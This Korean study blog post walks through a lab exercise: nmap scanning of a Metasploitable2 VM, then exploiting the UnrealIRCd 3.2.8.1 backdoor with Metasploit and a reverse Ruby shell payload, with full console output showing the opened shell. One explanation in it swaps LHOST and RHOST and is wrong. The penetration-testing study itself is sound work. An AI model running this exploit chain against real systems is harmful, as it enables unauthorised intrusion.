metasploit을 이용한 취약점 진단 실습 |
개요
포트스캐닝을 통한 시스템 취약점 분석 및 진단
1단계) 포트 스캐닝
- 포트스캐닝을 통해 열린 포트를 확인한다
만약 어떤 서비스가 실행중인지르 파악해서
관리자가 실행하지 않은 서비스가 있다면 매우 위험하다
버전을 확인했을 때 취약한 버전의 서비스가 있는지 확인한다
ip scan, tcp scan, syn scan , udp scan
os, version , all scan
운영체제와 버전 스캔
2단계) 취약점에 대한 조사
- 구글링
- 취약점 제보사이트 : www.exploit-db.com
- 취약점 전문 업체들 : ex)rapid7
- 취약점 공식사이트 : cve.mitre.org
3단계) 스크립트를 활용한 상세스캐닝
- 칼리 리눅스에 있는 nmap 스크립트를 활용
cd /usr/share/nmap/scripts
sudo find -name "*취약점*"
sudo nmap --script=[스크립트 이름] x.x.x.x -p [포트번호]
4단계) metasploit을 이용해서 exploit을 해보기
sudo msfconsole
search [취약점]
use [공격모듈]
set payload [페이로드]
exploit
환경설정
공격자: 칼리리눅스
피해자: metasploitable2
실습목표
victim machine 인 metasploitable2 시스템에 대해
포트스캐닝을 실시해서 운영체제, 사용중인 서비스와 버전 등을 알아내고
6667번 포트의 취약점에 대해 진단해서 exploit 까지 해보기
1단계 네트워크 내 켜져있는 아이피 스캔
nmap -sn [search 하려는 ip 범위] 를 통해 네트워크 내 켜져있는 호스트를 찾습니다.
현재 칼리가 130이므로 타겟은 129임을 알 수 있습니다.
2단계 포트스캐닝
sudo nmap -sV 192.168.5.129 명령을 통해 열린 포트와 그 포트가 사용하는 서비스와 버전을 스캔합니다.이때 이번 실습에서는 6667번 포트의 irc 서비스를 타겟으로 합니다.
3단계 공격포트에 대한 취약점 검색
UnrealIRCd 에 대해 구글링해봅시다.
Rapid7에서 UnreallRCD 에 대해 backdoor command execution을 위한 모듈을 제공하고 있습니다.
모듈이름은 UnrealIRCD 3281 backdoor command execution 입니다.
4단계 metasploit의 모듈장착과 익스플로잇 실행
모듈을 검색해보겠습니다.
msf6 > search irc Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/multi/local/allwinner_backdoor 2016-04-30 excellent Yes Allwinner 3.4 Legacy Kernel Local Privilege Escalation 1 exploit/multi/http/struts_default_action_mapper 2013-07-02 excellent Yes Apache Struts 2 DefaultActionMapper Prefixes OGNL Code Execution 2 exploit/windows/emc/replication_manager_exec 2011-02-07 great No EMC Replication Manager Command Execution 3 exploit/linux/misc/lprng_format_string 2000-09-25 normal No LPRng use_syslog Remote Format String Vulnerability 4 exploit/multi/misc/legend_bot_exec 2015-04-27 excellent Yes Legend Perl IRC Bot Remote Code Execution 5 exploit/windows/browser/ms06_013_createtextrange 2006-03-19 normal No MS06-013 Microsoft Internet Explorer createTextRange() Code Execution 6 exploit/windows/http/sharepoint_ssi_viewstate 2020-10-13 excellent Yes Microsoft SharePoint Server-Side Include and ViewState RCE 7 auxiliary/dos/windows/llmnr/ms11_030_dnsapi 2011-04-12 normal No Microsoft Windows DNSAPI.dll LLMNR Buffer Underrun DoS 8 post/multi/gather/irssi_creds normal No Multi Gather IRSSI IRC Password(s) 9 exploit/multi/misc/pbot_exec 2009-11-02 excellent Yes PHP IRC Bot pbot eval() Remote Code Execution 10 exploit/multi/misc/ra1nx_pubcall_exec 2013-03-24 great Yes Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution 11 exploit/linux/http/synology_dsm_smart_exec_auth 2017-11-08 excellent Yes Synology DiskStation Manager smart.cgi Remote Command Execution 12 exploit/multi/http/sysaid_auth_file_upload 2015-06-03 excellent Yes SysAid Help Desk Administrator Portal Arbitrary File Upload 13 exploit/windows/misc/talkative_response 2009-03-17 normal No Talkative IRC v0.4.4.16 Response Buffer Overflow 14 exploit/osx/misc/ufo_ai 2009-10-28 average No UFO: Alien Invasion IRC Client Buffer Overflow 15 exploit/windows/misc/ufo_ai 2009-10-28 average No UFO: Alien Invasion IRC Client Buffer Overflow 16 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp) 17 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp) 18 exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 excellent No UnrealIRCD 3.2.8.1 Backdoor Command Execution 19 exploit/osx/local/vmware_fusion_lpe 2020-03-17 excellent Yes VMware Fusion USB Arbitrator Setuid Privilege Escalation 20 exploit/linux/ssh/vyos_restricted_shell_privesc 2018-11-05 great Yes VyOS restricted-shell Escape and Privilege Escalation 21 post/windows/gather/credentials/xchat normal No Xchat credential gatherer 22 exploit/multi/misc/xdh_x_exec 2015-12-04 excellent Yes Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution 23 exploit/windows/browser/mirc_irc_url 2003-10-13 normal No mIRC IRC URL Buffer Overflow 24 exploit/windows/misc/mirc_privmsg_server 2008-10-02 normal No mIRC PRIVMSG Handling Stack Buffer Overflow 25 exploit/multi/misc/w3tw0rk_exec 2015-06-04 excellent Yes w3tw0rk / Pitbul IRC Bot Remote Code Execution Interact with a module by name or index. For example info 25, use 25 or use exploit/multi/misc/w3tw0rk_exec |
exploit/unix/irc/unreal_ircd_3281_backdoor 을 찾을 수 있습니다.
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor |
이 모듈을 장착하고 info 명령을 통해 어떤 모듈인지 알아봅시다
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > info Name: UnrealIRCD 3.2.8.1 Backdoor Command Execution Module: exploit/unix/irc/unreal_ircd_3281_backdoor Platform: Unix Arch: cmd Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2010-06-12 Provided by: hdm <x@hdm.io> Available targets: Id Name -- ---- 0 Automatic Target Check supported: No Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit RPORT 6667 yes The target port (TCP) Payload information: Space: 1024 Description: This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010. References: https://nvd.nist.gov/vuln/detail/CVE-2010-2075 OSVDB (65445) http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt |
현재 타겟호스트가 지정되어있지 않으므로 129로 지정해줍니다.
그 후 익스플로잇을 실행합니다.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.5.129 RHOSTS => 192.168.5.129 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [-] 192.168.5.129:6667 - Exploit failed: A payload has not been selected. [*] Exploit completed, but no session was created. |
페이로드가 선택되지 않아 세션이 생성되지 않았습니다. 즉 ircd 3281 모듈은 페이로드가 자동으로 설정되어있지 않기때문에 적당한 페이로드를 선택해주어야합니다.
여기서 exploit이란 특정 취약점을 공격하는 모듈을 의미하고, payload는 exploit된 후에 연결 방법을 의미합니다.
즉 exploit을 통해 payload가 실행될 수 있는 단계를 거치고, 예를 들면 reverse 세션을 연결하는 payload 코드를 통해 실제로 공격자의 pc에 접근하게 됩니다.
show payloads를 통해 payload를 살펴봅시다.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads Compatible Payloads =================== # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl) 1 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6 2 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby) 3 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6 4 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution 5 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet) 6 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet) 7 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl) 8 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl) 9 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby) 10 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby) 11 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet) |
가장 무난한 것은 payload/cmd/unix/generic 입니다.
이번 실습에서는 reverse tcp session을 위해 payload/cmd/unix/reverse_ruby 를 사용하겠습니다.
주의해야할 점은 reverse session을 연결하는 payload를 사용할 경우 타겟호스트인 LHOST 외에 RHOST 를 설정해주어야한다는 것입니다. 즉 타겟이 공격자에게 거꾸로 세션을 연결하는 것이기때문에 공격자인 kali의 ip도 설정해주어야합니다.
그 후 exploit을 실행하면 타겟에 세션이 연결된 것을 확인할 수 있습니다.
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload payload/cmd/unix/reverse_ruby payload => cmd/unix/reverse_ruby msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.5.130 LHOST => 192.168.5.130 msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit [*] Started reverse TCP handler on 192.168.5.130:4444 [*] 192.168.5.129:6667 - Connected to 192.168.5.129:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] 192.168.5.129:6667 - Sending backdoor command... [*] Command shell session 1 opened (192.168.5.130:4444 -> 192.168.5.129:35267) at 2022-09-20 21:09:26 -0400 ls Donation LICENSE aliases badwords.channel.conf badwords.message.conf badwords.quit.conf curl-ca-bundle.crt dccallow.conf doc help.conf ircd.log ircd.pid ircd.tune modules networks spamfilter.conf tmp unreal unrealircd.conf |
'개인 공부 > rookies' 카테고리의 다른 글
docker와 k8s 이해 - 1 (0) | 2022.10.20 |
---|---|
beef를 이용한 xss + sql injection 실습 - 1 (0) | 2022.10.20 |
metasploit을 이용한 취약점 진단 실습 - 3 (0) | 2022.10.04 |
metasploit을 이용한 취약점 진단 실습 - 2 (0) | 2022.10.03 |
정규 표현식 (0) | 2022.08.30 |
댓글